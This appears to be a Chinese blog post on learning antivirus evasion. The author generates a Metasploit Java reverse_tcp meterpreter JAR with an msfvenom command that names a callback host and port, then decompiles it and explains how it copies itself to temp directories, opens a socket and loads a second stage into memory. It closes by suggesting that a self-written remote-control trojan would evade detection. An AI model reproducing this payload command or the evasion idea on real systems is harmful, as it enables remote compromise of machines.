登录后台

已禁止登录!

页面导航

介绍

很喜欢一位师傅说的话:"红队能有很多标准板和长板,但是不能有短板".今天学习免杀,msf开源的可以分析代码,那就先来看看msf怎么写的吧




开启分析之路

1.生成一个jar吧:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 > 1.JAR

2023-01-29T02:00:03.png

2.打开IDEA反编译jar包:

2023-01-29T02:08:42.png

3.分析:

(1)MANIFEST.MF文件
定义了一些信息和从哪里运行这些文件

2023-01-29T02:10:41.png

(2)metasploit.dat文件
三个值 对应生成木马时候的控制端地址和端口 spawn在最后一个文件要用到
2023-01-29T02:11:52.png

(3)payload.class文件
从代码第一行开始payload类继承classloader,功能是获取操作系统/路径分隔符/判断AIX/判断路径分隔符/获取java安装路径
2023-01-29T02:22:53.png

分析到后面其实这里和最后几行对应
2023-01-29T02:27:23.png

来到main函数,开始也是各种获取加载
2023-01-29T02:48:25.png

现在metasploit.dat文件里的内容就给到Properties var1这个对象了
var2就是class metasploit.Payload
var3就是metasploit/Payload.class
var4判断metasploit.dat不为空是真真正正存在的话就通过流加载一下然后就关掉了


接下来到var5,判断有没有Executable,结果是没有的,第一个if就不进去了,当然也要来看看它干了什么

2023-01-29T03:04:58.png

1.如果字段不为空
2.获取系统一定存在的系统路径
3.在一定存在的系统路径下创建"~spawnxxxx.tmp.dir"文件
4.在创建dir下创建一个文件名为 配置文件key为Executable的目录
5.调用方法1.反射获取到Payload的对象,2.Executable的值,3.创建的文件(内部将Executable的值写入到创建的新文件下)
6.删除配置文件中的Executable
7.配置文件写入DroppendExecutable值为新创建的值的不同操作系统的绝对路径

接下来就到spawn的值了,看配置里有没有spawn,有就是它自己,没有就给0

2023-01-29T03:13:05.png

到第二个if
2023-01-29T03:14:57.png

如果i>0,将var19减去1重新赋值给配置文件的spawn
1.file var9为 获取当前系统临时路径.dir
2.file var10为 临时文件/metasploit.dat
3.file var11为 临时文件/metasploit.Payload.class
4.创建这个临时路径
5.将文件写入其中

做了一件什么事情呢,就是把这个文件复制一份到了临时文件目录下,不同就是spawn减了1

接下来的第三和第四个if获取的东西都没有就不看了

2023-01-29T03:25:17.png

接下来是这一部分重点,exec就是自己去运行自己之前创建的那个文件,类似递归
2023-01-29T03:33:14.png

跳过下一个else,看下面的最后一个else
2023-01-29T03:39:00.png

1.var21获取配置文件中回连的端口
2.var22获取配置文件中回连的地址
3.var23获取配置文件中回连的url,没有,就为空
4.如果var21<=0,就是看端口是不是正给对了,没给对就让控制台给我一个,从外面给一个,这里不会去走
5.var23!=null,这里也不会走

接下来又是重点

2023-01-29T03:44:28.png

1.new了一个Socket的对象
2.建立了一个socket连接
3.从socket那边获取到数据,控制端这时候就给客户端传数据了,给到var24
4.然后创建一个输出流,返回数据给控制端

然后再下面就是客户端把木马推到内存当中,这连接就完成了

2023-01-29T03:52:34.png

下面都是一些推到内存/写文件...的实现方法了,都是辅助上面的主线路,就不分析了

总结:
1.开局获取了一堆系统配置,跟Java有关系,因为Java是跨平台运行的,判断系统配置能区分Windows和Linux系统以便更好的运行一些命令
2.反射payload类,核心获取spawn值,直到减到0,拉那么多线程目的应该是对杀软有一些作用,不过国内都是md5值对比,对内存操作的应该是为了对应国外的杀软
3.建立socket连接,获取控制端发来的大马,然后通过方法把大马推入内存


后面还去看了msf的python马,原理都差不多,其实它的本质是什么,本质就是远控,远控要怎么做
(1)消息传输-->socket连接 控制端whoami-->客户端
(2)命令执行-->runtime类 exec...
(3)执行结果回传-->IO流

原理其实很简单,但是为什么会被杀呢,被杀就是因为太多人用了,特征库里有它的特征,那要是自己写一个只有自己用呢,估计能用很久吧